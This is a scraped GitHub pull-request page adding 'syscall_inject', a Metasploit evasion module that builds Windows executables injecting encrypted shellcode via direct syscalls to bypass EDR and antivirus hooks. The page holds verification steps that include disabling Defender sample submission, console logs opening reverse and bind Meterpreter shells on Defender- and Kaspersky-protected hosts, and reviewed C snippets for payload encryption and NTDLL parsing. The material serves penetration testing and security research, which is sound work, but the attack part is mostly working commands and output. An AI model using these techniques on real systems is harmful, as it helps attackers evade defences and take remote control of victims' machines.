    value="put" autocomplete="off"><input type="hidden" data-csrf="true" name="authenticity_token" value="zfbbHxS663OADW4rCaFB/eecB/dEVAW9WncJnpAFegUvturBdg1w9fyhcQmufcas+TTKyhllXatdi1DeG7XFXg==">
  <div class="discussion-sidebar-heading text-bold"> Linked issues </div>
  <p>Successfully merging this pull request may close these issues.</p>
  <p>None yet</p>
</form>

Text Content

Skip to content
Sign up
 * Why GitHub?
   Features →
    * Mobile →
    * Actions →
    * Codespaces →
    * Packages →
    * Security →
    * Code review →
    * Issues →
    * Integrations →
   
    * GitHub Sponsors →
    * Customer stories→

 * Team
 * Enterprise
 * Explore
    * Explore GitHub →
   
   LEARN AND CONTRIBUTE
   
    * Topics →
    * Collections →
    * Trending →
    * Learning Lab →
    * Open source guides →
   
   CONNECT WITH OTHERS
   
    * The ReadME Project →
    * Events →
    * Community forum →
    * GitHub Education →
    * GitHub Stars program →

 * Marketplace
 * Pricing
   Plans →
    * Compare plans →
    * Contact Sales →
   
    * Education →

 * In this repository All GitHub ↵
   Jump to ↵

 * No suggested jump to results

 * In this repository All GitHub ↵
   Jump to ↵
 * In this organization All GitHub ↵
   Jump to ↵
 * In this repository All GitHub ↵
   Jump to ↵

Sign in
Sign up

{{ message }}


RAPID7 / METASPLOIT-FRAMEWORK PUBLIC

 * Notifications
 * Star 25.3k
 * Fork 11.6k


 * Code
 * Issues 468
 * Pull requests 26
 * Discussions
 * Actions
 * Projects 2
 * Wiki
 * Security
 * Insights

More
 * Code
 * Issues
 * Pull requests
 * Discussions
 * Actions
 * Projects
 * Wiki
 * Security
 * Insights

New issue

Have a question about this project? Sign up for a free GitHub account to open an
issue and contact its maintainers and the community.

Pick a username Email Address Password Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy
statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom


ADD EVASION MODULE SYSCALL_INJECT WITH DOCUMENTATION #15506

Merged
smcintyre-r7 merged 7 commits into rapid7:master from kensh1ro:syscall_inject 14
days ago

Merged


ADD EVASION MODULE SYSCALL_INJECT WITH DOCUMENTATION #15506

smcintyre-r7 merged 7 commits into rapid7:master from kensh1ro:syscall_inject 14
days ago

+721 −12
Conversation 34 Commits 7 Checks 21 Files changed 5


CONVERSATION

Copy link
Contributor


KENSH1RO COMMENTED ON AUG 1

This module lets you create a Windows executable that injects a specific
payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via
direct syscalls achieved by Mingw's inline assembly.
It creates an executable that contains the selected payload and places it in
~/.msf4/local, then it needs to be copied to the destined location where it is
planned to be executed.
Mingw (x86_64) needs to be installed on the system and in the PATH environment
variable in order to compile the generated source file.
e.g. installing Mingw 64bit on kali linux: sudo apt-get install
gcc-mingw-w64-x86-64.
In order not to add any redundant or repeated code,
lib/metasploit/framework/compiler/mingw.rb was modified to suit this module's
needs without affecting other modules that uses mingw.rb.
Adding a precompiled template is also an option instead of forcing users to
setup Mingw.


VERIFICATION STEPS

steps using a meterpreter/reverse_tcp payload on a 64-bits target:

 1. use evasion/windows/syscall_inject
 2. set LHOST <local IP>
 3. set payload windows/x64/meterpreter/reverse_tcp
 4. handler -p windows/x64/meterpreter/reverse_tcp -H <local IP> -P <local port>
 5. run
 6. Make sure that "Automatic Sample Submission" is off in Windows Defender
 7. Copy the generated executable file to a specified location (e.g. target PC)
 8. Run it
 9. Verify that you got a session without being blocked by Antimalware


SCENARIOS


WINDOWS 10 (X64) VERSION 20H2 WITH DEFENDER

msf6 > use evasion/windows/syscall_inject 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/syscall_inject) > set SLEEP 10000
SLEEP => 10000
msf6 evasion(windows/syscall_inject) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf6 evasion(windows/syscall_inject) > run

[+] pYlCSOAeW.exe stored at /Users/user/.msf4/local/pYlCSOAeW.exe
msf6 evasion(windows/syscall_inject) > cp  /Users/user/.msf4/local/pYlCSOAeW.exe ~
[*] exec: cp  /Users/user/.msf4/local/pYlCSOAeW.exe ~

msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.104 -P 4444
[*] Payload handler running as background job 1.

[*] Started reverse TCP handler on 192.168.1.104:4444 
msf6 evasion(windows/syscall_inject) > [*] Sending stage (200262 bytes) to 192.168.1.103
[*] Meterpreter session 3 opened (192.168.1.104:4444 -> 192.168.1.103:53007) at 2021-08-01 17:08:43 +0300

msf6 evasion(windows/syscall_inject) > sessions -i 3 
[*] Starting interaction with 3...

meterpreter > sysinfo 
Computer        : DESKTOP-822593D
OS              : Windows 10 (10.0 Build 19042).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.103 - Meterpreter session 3 closed.  Reason: User exit





WINDOWS SERVER 2012 (X64) WITH KASPERSKY 10.2.6.3733

msf6 > use evasion/windows/syscall_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 evasion(windows/syscall_inject) > set payload windows/x64/meterpreter_bind_tcp 
payload => windows/x64/meterpreter_bind_tcp
msf6 evasion(windows/syscall_inject) > set RHOST 192.168.225.76
RHOST => 192.168.225.76
msf6 evasion(windows/syscall_inject) > set LPORT 10156
LPORT => 10156
msf6 evasion(windows/syscall_inject) > set cipher rc4
cipher => rc4
msf6 evasion(windows/syscall_inject) > run

[+] ShP.exe stored at /Users/medicus/.msf4/local/ShP.exe
msf6 evasion(windows/syscall_inject) > cp /Users/medicus/.msf4/local/ShP.exe ~
[*] exec: cp /Users/medicus/.msf4/local/ShP.exe ~

msf6 evasion(windows/syscall_inject) > handler -p windows/x64/meterpreter_bind_tcp -H 192.168.225.76 -P 10156
[*] Payload handler running as background job 0.

[*] Started bind TCP handler against 192.168.225.76:10156
msf6 evasion(windows/syscall_inject) > [*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.225.76:10156) at 2021-08-01 17:32:05 +0300

msf6 evasion(windows/syscall_inject) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > sysinfo 
Computer        : LABCE28
OS              : Windows 2012 (6.2 Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 386
Meterpreter     : x64/windows
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.225.76 - Meterpreter session 1 closed.  Reason: User exit




The text was updated successfully, but these errors were encountered:




Added module syscall_inject with documentation

Loading status checks…
907be44
Copy link
Contributor


SMCINTYRE-R7 COMMENTED ON AUG 2

It looks like this relies on a hardcoded list of syscalls depending on the
version of Windows on which the payload is running. I'm concerned about the
obligation this would put on our project to maintain this list. For example,
when a new build of Windows 10 or Windows 11 comes out, this would be broken on
it if the syscalls changed and it would be on us to proactively update the
module.

Are there any techniques that are more dynamic in nature that you've found to be
equally reliable? Perhaps something leveraging the unhooked copy of NTDLL.dll on
disk?



Sorry, something went wrong.

Copy link
Contributor Author


KENSH1RO COMMENTED ON AUG 2

sure, I will try to work on something more dynamic, like extracting syscall
numbers at runtime. Although loading NTDLL from disk is a bit fishy for most
security products since every process has it loaded already, parsing the Export
Address Table of NTDLL might be a good choice.



Sorry, something went wrong.

Copy link
Contributor


SMCINTYRE-R7 COMMENTED ON AUG 3

Parsing the EAT will get you the address of the function, and if it weren't
hooked you'd have an easy enough time extracting the syscall number. The problem
I'm guessing is that when it's not hooked this technique isn't necessary and
when it is hooked you probably won't be able to extract the number reliably
because it'll depend on how it was modified.



Sorry, something went wrong.

Adding a dynamic way to fetch syscalls

Loading status checks…
87e7718
Copy link
Contributor Author


KENSH1RO COMMENTED ON AUG 4

I could also add Hell's Gate VX technique, but i prefer to add it in a separate
module



Sorry, something went wrong.

adfoster-r7 reviewed on Aug 5
View changes
modules/evasion/windows/syscall_inject.rb Outdated

char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char*
#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; char*
#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name}
#{Rex::Text.rand_surname}"; char* #{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_name} #{Rex::Text.rand_surname}";

Copy link
Contributor


ADFOSTER-R7 ON AUG 5

Is there the possibility of this generating valid reserved C keywords? That's a
problem we recently spotted with JSP payloads

#15436
rapid7/rex-random_identifier#6

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON AUG 5

Yeah you are right, I will fix this right away.

Sorry, something went wrong.


Add fix for generating random valid C keywords

Loading status checks…
a4a2a4d
kensh1ro requested a review from adfoster-r7 2 months ago
Change Alloction from RWX to RW

Loading status checks…
3bf8a5c
Copy link
Contributor Author


KENSH1RO COMMENTED ON AUG 25

Any extra notes on this module?



Sorry, something went wrong.

smcintyre-r7 self-assigned this on Sep 1
smcintyre-r7 requested changes on Sep 1
View changes
Copy link
Contributor


SMCINTYRE-R7 LEFT A COMMENT

Test this out on Windows 7 SP1 and Windows 10 v1809 with Defender's Real-Time
Protection enabled. Both cases appear to be working as expected.

I left a few more comments on how we might keep the C code maintainable. I think
the largest request would be to deobfuscate the source code, and then leverage
our existing Metasploit::Framework::Compiler::Windows.generate_random_c
functionality. There's also compile_random_c and compile_random_c_to_file
depending on where exactly you want to put it, but they're all going to use the
existing obfuscation API.

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated

// If this is NTDLL.dll, exit loop. PCHAR DllName = _RVA2VA(PCHAR, DllBase,
ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

This is kind of an odd way of doing things. Is there an advantage to this
approach vs say stricmp?

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON SEP 5

It is basically the same, but I avoided using any extra libraries, I could get
rid of the useless OR operation

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated

def filler %( char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_mail_address}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)}
= "#{Rex::Text.rand_mail_address}"; char*
_msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name}
#{Rex::Text.rand_surname}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_mail_address}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)}
= "#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_guid}"; char* _msf_#{Rex::Text.rand_text_alpha(3..10)} =
"#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; char*
_msf_#{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name}
#{Rex::Text.rand_surname}"; ) end

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

Instead of using this static data filler to add entropy (which I assume is the
goal here), we have the
Metasploit::Framework::Compiler::Windows.generate_random_c function. It'll
define random data as well as insert additional statements to increase the
entropy of the code.

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON SEP 5 •
EDITED

Well the problem is that I tried before to compile the code with Metasm but it
produced too many errors, I haven't seen any inline assembly support nor the
ability to produce an assembly object file to link it with the final executable

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved

modules/evasion/windows/syscall_inject.rb Outdated

@inject << %@ for (int i = 0; i < sizeof(shellcode) - 1; i++) { char temp =
shellcode[i] ^ key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6];

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

This treats the key as one byte. There's no need to have the other 6 values when
it could be normalized.

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON SEP 5

I have read somewhere that some AVs brute force one-byte XOR keys, I could add a
one XOR layer operation with longer keys instead

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated

for (int i = 0; i < sizeof(shellcode) - 1; i++) { char temp = shellcode[i] ^
key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6];
NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp, 1,
NULL);

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

Same comment here about only calling NtWriteVirtualMemory once.

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated

for (int i = 0; i < sizeof(shellcode) - 1; i++) { NtWriteVirtualMemory(pHandle,
(LPVOID)((ULONG_PTR)bAddress + n), &temp[i], 1, NULL); n++; }

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

If you're making the raw sayscall, this presumably isn't hooked so is it
actually necessary to call it for each byte instead of doing it all at once?

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON SEP 5

I guess it shouldn't be a problem if it is not hooked, I added it as an extra
precaution.

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated

if datastore['CIPHER'] == 'rc4' @key ||= Rex::Text.rand_text_alpha(32..64) else
@key ||= Rex::Text.rand_text(7)

Copy link
Contributor


SMCINTYRE-R7 ON SEP 1

This doesn't need to be more than one byte. Should make sure it's not 0 though.

Sorry, something went wrong.


Copy link
Contributor Author


KENSH1RO ON SEP 5

I'm considering replacing XOR with either CHACHA or AES

Sorry, something went wrong.


Replace XOR with CHACHA and remove unnecassary code

Loading status checks…
1adde37
smcintyre-r7 reviewed 27 days ago
View changes
Copy link
Contributor


SMCINTYRE-R7 LEFT A COMMENT

I clarified the one comment and called out a couple of other things based on the
latest round of changes. Overall things are looking good. I'll test it again
after the tweaks have been made.

Thanks for cleaning up the extra obfuscation code. I noticed the library usage I
suggested is commented out. Was it not working for some reason?

Sorry, something went wrong.


modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved

modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved

modules/evasion/windows/syscall_inject.rb Outdated Show resolved Hide resolved

add minor fixes to module code

Loading status checks…
4454a76
Copy link
Contributor Author


KENSH1RO COMMENTED 26 DAYS AGO

> I clarified the one comment and called out a couple of other things based on
> the latest round of changes. Overall things are looking good. I'll test it
> again after the tweaks have been made.
> 
> Thanks for cleaning up the extra obfuscation code. I noticed the library usage
> I suggested is commented out. Was it not working for some reason?

Yes, unfortunately it produced errors on compiling the code which are hard to
fix, this code is probably too custom for metasm to handle. I will try again
with it when i get the time, I will also consider encoding the shellcode with
base64 to avoid high entropy



Sorry, something went wrong.

add base64 encoding to shellcode

Loading status checks…
c1868d9
Copy link
Contributor Author


KENSH1RO COMMENTED 24 DAYS AGO

Retested against latest Windows Defender and Kaspersky Cloud Security, working
as expected. Now I guess the only thing left is to leverage metasm and
metasploit's code randomization modules to compile the C code. I am all open to
new options and ideas.



Sorry, something went wrong.

smcintyre-r7 reviewed 22 days ago
View changes
data/headers/windows/base64.h Show resolved Hide resolved

Copy link
Contributor


SMCINTYRE-R7 COMMENTED 22 DAYS AGO

If you want to get the randomization working before it's released you can post
your changes and the issue you're getting then I can take a look and make
suggestions. I'm happy to help if I can.

If you want to wait on the randomization because things are working as intended
now, that's fine too. The risk to that approach I guess would be that a
signature for the EXE harness could be developed. Whether randomization is added
to the C code or not though, there's probably enough data in the assembly stubs
that are calling the Nt* functions that could be signatured with a relatively
high degree of confidence so I don't know how much benefit randomizing the C
will really provide.

I'll leave it up to you



Sorry, something went wrong.

Copy link
Contributor Author


KENSH1RO COMMENTED 22 DAYS AGO

Yes definitely you are right, I guess the best thing i could do now is try
adding some dynamically generated bogus assembly instructions to the stubs.



Sorry, something went wrong.

Copy link
Contributor Author


KENSH1RO COMMENTED 17 DAYS AGO

After thinking and experimenting for some time, adding some random assembly
instructions is easily bypassed and it will not serve the destined purpose, on
the other hand I hit a wall trying to make the compilation work with Metasm so I
have nothing else to add on my end. It is ready for your final assessment.



Sorry, something went wrong.

smcintyre-r7 added feature module rn-modules labels 15 days ago
Copy link
Contributor


SMCINTYRE-R7 COMMENTED 14 DAYS AGO

I ran into one minor bug introduced in 1adde37 where changing the include from
#include <windows.h> to #include <Windows.h> was causing a compilation error.
I'll fix that up as I land it. With that in place though I can see the binaries
are running on Windows 7 SP1 x64 and Server 2019. I tested both RC4 and CHACHA
variants. I'll have this landed shortly.

Thanks for all of your work on this!

Testing Output

msf6 evasion(windows/syscall_inject) > 
msf6 evasion(windows/syscall_inject) > show options 

Module options (evasion/windows/syscall_inject):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CIPHER    chacha           yes       Shellcode encryption type (Accepted: chacha, rc4)
   FILENAME  dkxy.exe         yes       Filename for the evasive file (default: random)
   SLEEP     20000            no        Sleep time in milliseconds before executing shellcode


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Evasion target:

   Id  Name
   --  ----
   0   Microsoft Windows (x64)


msf6 evasion(windows/syscall_inject) > set FILENAME /var/public/chacha_x64.exe
FILENAME => /var/public/chacha_x64.exe
msf6 evasion(windows/syscall_inject) > set LPORT 5000
LPORT => 5000
msf6 evasion(windows/syscall_inject) > run

[-] evasion failed: Compilation error. Check the logs for further information.
msf6 evasion(windows/syscall_inject) > edit
msf6 evasion(windows/syscall_inject) > run

[-] evasion failed: Compilation error. Check the logs for further information.
msf6 evasion(windows/syscall_inject) > rerun
[*] Reloading module...

[+] /var/public/chacha_x64.exe stored at /home/smcintyre/.msf4/local/chacha_x64.exe
msf6 evasion(windows/syscall_inject) > to_handler 
[*] Payload Handler Started as Job 0
msf6 evasion(windows/syscall_inject) > 
[*] Started reverse TCP handler on 192.168.159.128:5000 

msf6 evasion(windows/syscall_inject) > show options 

Module options (evasion/windows/syscall_inject):

   Name      Current Setting             Required  Description
   ----      ---------------             --------  -----------
   CIPHER    chacha                      yes       Shellcode encryption type (Accepted: chacha, rc4)
   FILENAME  /var/public/chacha_x64.exe  yes       Filename for the evasive file (default: random)
   SLEEP     20000                       no        Sleep time in milliseconds before executing shellcode


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     5000             yes       The listen port


Evasion target:

   Id  Name
   --  ----
   0   Microsoft Windows (x64)


msf6 evasion(windows/syscall_inject) > set CIPHER rc4 
CIPHER => rc4
msf6 evasion(windows/syscall_inject) > show options 

Module options (evasion/windows/syscall_inject):

   Name      Current Setting             Required  Description
   ----      ---------------             --------  -----------
   CIPHER    rc4                         yes       Shellcode encryption type (Accepted: chacha, rc4)
   FILENAME  /var/public/chacha_x64.exe  yes       Filename for the evasive file (default: random)
   SLEEP     20000                       no        Sleep time in milliseconds before executing shellcode


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT     5000             yes       The listen port


Evasion target:

   Id  Name
   --  ----
   0   Microsoft Windows (x64)


msf6 evasion(windows/syscall_inject) > set FILENAME /var/public/rc4_x64.exe
FILENAME => /var/public/rc4_x64.exe
msf6 evasion(windows/syscall_inject) > run

[+] /var/public/rc4_x64.exe stored at /home/smcintyre/.msf4/local/rc4_x64.exe
msf6 evasion(windows/syscall_inject) > jobs

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.159.128:5000

msf6 evasion(windows/syscall_inject) > 
[*] Sending stage (200262 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:5000 -> 192.168.159.11:63235) at 2021-09-22 09:52:56 -0400
[*] Sending stage (200262 bytes) to 192.168.159.11
[*] Meterpreter session 2 opened (192.168.159.128:5000 -> 192.168.159.11:63237) at 2021-09-22 09:52:57 -0400
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] Meterpreter session 3 opened (192.168.159.128:5000 -> 192.168.159.96:58977) at 2021-09-22 09:53:54 -0400
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] Meterpreter session 4 opened (192.168.159.128:5000 -> 192.168.159.96:58978) at 2021-09-22 09:53:57 -0400

msf6 evasion(windows/syscall_inject) > sessions -c "systeminfo"
[*] Running 'systeminfo' on meterpreter session 1 (192.168.159.11)

Host Name:                 WIN-9NSI4A6AIHJ
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00371-221-2703907-06554
Original Install Date:     2/5/2020, 2:15:33 PM
System Boot Time:          9/22/2021, 8:48:45 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 2/27/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,915 MB
Virtual Memory: Max Size:  8,189 MB
Virtual Memory: Available: 5,611 MB
Virtual Memory: In Use:    2,578 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\WIN-9NSI4A6AIHJ
Hotfix(s):                 133 Hotfix(s) Installed.
                           [01]: KB2849697
                           [02]: KB2849696
                           [03]: KB2841134
                           [04]: KB2670838
                           [05]: KB971033
                           [06]: KB2479943
                           [07]: KB2491683
                           [08]: KB2506014
                           [09]: KB2506212
                           [10]: KB2532531
                           [11]: KB2533552
                           [12]: KB2533623
                           [13]: KB2534111
                           [14]: KB2552343
                           [15]: KB2560656
                           [16]: KB2564958
                           [17]: KB2579686
                           [18]: KB2585542
                           [19]: KB2604115
                           [20]: KB2620704
                           [21]: KB2621440
                           [22]: KB2631813
                           [23]: KB2639308
                           [24]: KB2653956
                           [25]: KB2654428
                           [26]: KB2656356
                           [27]: KB2667402
                           [28]: KB2685939
                           [29]: KB2690533
                           [30]: KB2698365
                           [31]: KB2705219
                           [32]: KB2706045
                           [33]: KB2727528
                           [34]: KB2729094
                           [35]: KB2729452
                           [36]: KB2731771
                           [37]: KB2736422
                           [38]: KB2742599
                           [39]: KB2758857
                           [40]: KB2770660
                           [41]: KB2786081
                           [42]: KB2789645
                           [43]: KB2807986
                           [44]: KB2813430
                           [45]: KB2834140
                           [46]: KB2836942
                           [47]: KB2836943
                           [48]: KB2840631
                           [49]: KB2847927
                           [50]: KB2861698
                           [51]: KB2862330
                           [52]: KB2862335
                           [53]: KB2864202
                           [54]: KB2868038
                           [55]: KB2871997
                           [56]: KB2882822
                           [57]: KB2884256
                           [58]: KB2888049
                           [59]: KB2893294
                           [60]: KB2894844
                           [61]: KB2900986
                           [62]: KB2911501
                           [63]: KB2912390
                           [64]: KB2931356
                           [65]: KB2937610
                           [66]: KB2943357
                           [67]: KB2968294
                           [68]: KB2972100
                           [69]: KB2972211
                           [70]: KB2973112
                           [71]: KB2973201
                           [72]: KB2977292
                           [73]: KB2978120
                           [74]: KB2978742
                           [75]: KB2984972
                           [76]: KB2991963
                           [77]: KB2992611
                           [78]: KB2999226
                           [79]: KB3004375
                           [80]: KB3010788
                           [81]: KB3011780
                           [82]: KB3019978
                           [83]: KB3021674
                           [84]: KB3023215
                           [85]: KB3030377
                           [86]: KB3031432
                           [87]: KB3035126
                           [88]: KB3037574
                           [89]: KB3042058
                           [90]: KB3045685
                           [91]: KB3046017
                           [92]: KB3046269
                           [93]: KB3055642
                           [94]: KB3059317
                           [95]: KB3060716
                           [96]: KB3067903
                           [97]: KB3071756
                           [98]: KB3072305
                           [99]: KB3074543
                           [100]: KB3075220
                           [101]: KB3086255
                           [102]: KB3092601
                           [103]: KB3093513
                           [104]: KB3097989
                           [105]: KB3101722
                           [106]: KB3108371
                           [107]: KB3108664
                           [108]: KB3109103
                           [109]: KB3109560
                           [110]: KB3110329
                           [111]: KB3115858
                           [112]: KB3122648
                           [113]: KB3124275
                           [114]: KB3126587
                           [115]: KB3127220
                           [116]: KB3138612
                           [117]: KB3138910
                           [118]: KB3139398
                           [119]: KB3139914
                           [120]: KB3150220
                           [121]: KB3155178
                           [122]: KB3156016
                           [123]: KB3159398
                           [124]: KB3161949
                           [125]: KB3185319
                           [126]: KB4019990
                           [127]: KB4040980
                           [128]: KB4474419
                           [129]: KB4490628
                           [130]: KB4532945
                           [131]: KB4536952
                           [132]: KB976902
                           [133]: KB4534310
Network Card(s):           2 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     192.168.159.127
                                 IP address(es)
                                 [01]: 192.168.159.11
                                 [02]: fe80::dde4:fc35:f944:b469
                           [02]: Bluetooth Device (Personal Area Network)
                                 Connection Name: Bluetooth Network Connection
                                 Status:          Media disconnected
[*] Running 'systeminfo' on meterpreter session 2 (192.168.159.11)

Host Name:                 WIN-9NSI4A6AIHJ
OS Name:                   Microsoft Windows 7 Professional 
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00371-221-2703907-06554
Original Install Date:     2/5/2020, 2:15:33 PM
System Boot Time:          9/22/2021, 8:48:45 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2304 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 2/27/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,854 MB
Virtual Memory: Max Size:  8,189 MB
Virtual Memory: Available: 5,548 MB
Virtual Memory: In Use:    2,641 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\WIN-9NSI4A6AIHJ
Hotfix(s):                 133 Hotfix(s) Installed.
                           [01]: KB2849697
                           [02]: KB2849696
                           [03]: KB2841134
                           [04]: KB2670838
                           [05]: KB971033
                           [06]: KB2479943
                           [07]: KB2491683
                           [08]: KB2506014
                           [09]: KB2506212
                           [10]: KB2532531
                           [11]: KB2533552
                           [12]: KB2533623
                           [13]: KB2534111
                           [14]: KB2552343
                           [15]: KB2560656
                           [16]: KB2564958
                           [17]: KB2579686
                           [18]: KB2585542
                           [19]: KB2604115
                           [20]: KB2620704
                           [21]: KB2621440
                           [22]: KB2631813
                           [23]: KB2639308
                           [24]: KB2653956
                           [25]: KB2654428
                           [26]: KB2656356
                           [27]: KB2667402
                           [28]: KB2685939
                           [29]: KB2690533
                           [30]: KB2698365
                           [31]: KB2705219
                           [32]: KB2706045
                           [33]: KB2727528
                           [34]: KB2729094
                           [35]: KB2729452
                           [36]: KB2731771
                           [37]: KB2736422
                           [38]: KB2742599
                           [39]: KB2758857
                           [40]: KB2770660
                           [41]: KB2786081
                           [42]: KB2789645
                           [43]: KB2807986
                           [44]: KB2813430
                           [45]: KB2834140
                           [46]: KB2836942
                           [47]: KB2836943
                           [48]: KB2840631
                           [49]: KB2847927
                           [50]: KB2861698
                           [51]: KB2862330
                           [52]: KB2862335
                           [53]: KB2864202
                           [54]: KB2868038
                           [55]: KB2871997
                           [56]: KB2882822
                           [57]: KB2884256
                           [58]: KB2888049
                           [59]: KB2893294
                           [60]: KB2894844
                           [61]: KB2900986
                           [62]: KB2911501
                           [63]: KB2912390
                           [64]: KB2931356
                           [65]: KB2937610
                           [66]: KB2943357
                           [67]: KB2968294
                           [68]: KB2972100
                           [69]: KB2972211
                           [70]: KB2973112
                           [71]: KB2973201
                           [72]: KB2977292
                           [73]: KB2978120
                           [74]: KB2978742
                           [75]: KB2984972
                           [76]: KB2991963
                           [77]: KB2992611
                           [78]: KB2999226
                           [79]: KB3004375
                           [80]: KB3010788
                           [81]: KB3011780
                           [82]: KB3019978
                           [83]: KB3021674
                           [84]: KB3023215
                           [85]: KB3030377
                           [86]: KB3031432
                           [87]: KB3035126
                           [88]: KB3037574
                           [89]: KB3042058
                           [90]: KB3045685
                           [91]: KB3046017
                           [92]: KB3046269
                           [93]: KB3055642
                           [94]: KB3059317
                           [95]: KB3060716
                           [96]: KB3067903
                           [97]: KB3071756
                           [98]: KB3072305
                           [99]: KB3074543
                           [100]: KB3075220
                           [101]: KB3086255
                           [102]: KB3092601
                           [103]: KB3093513
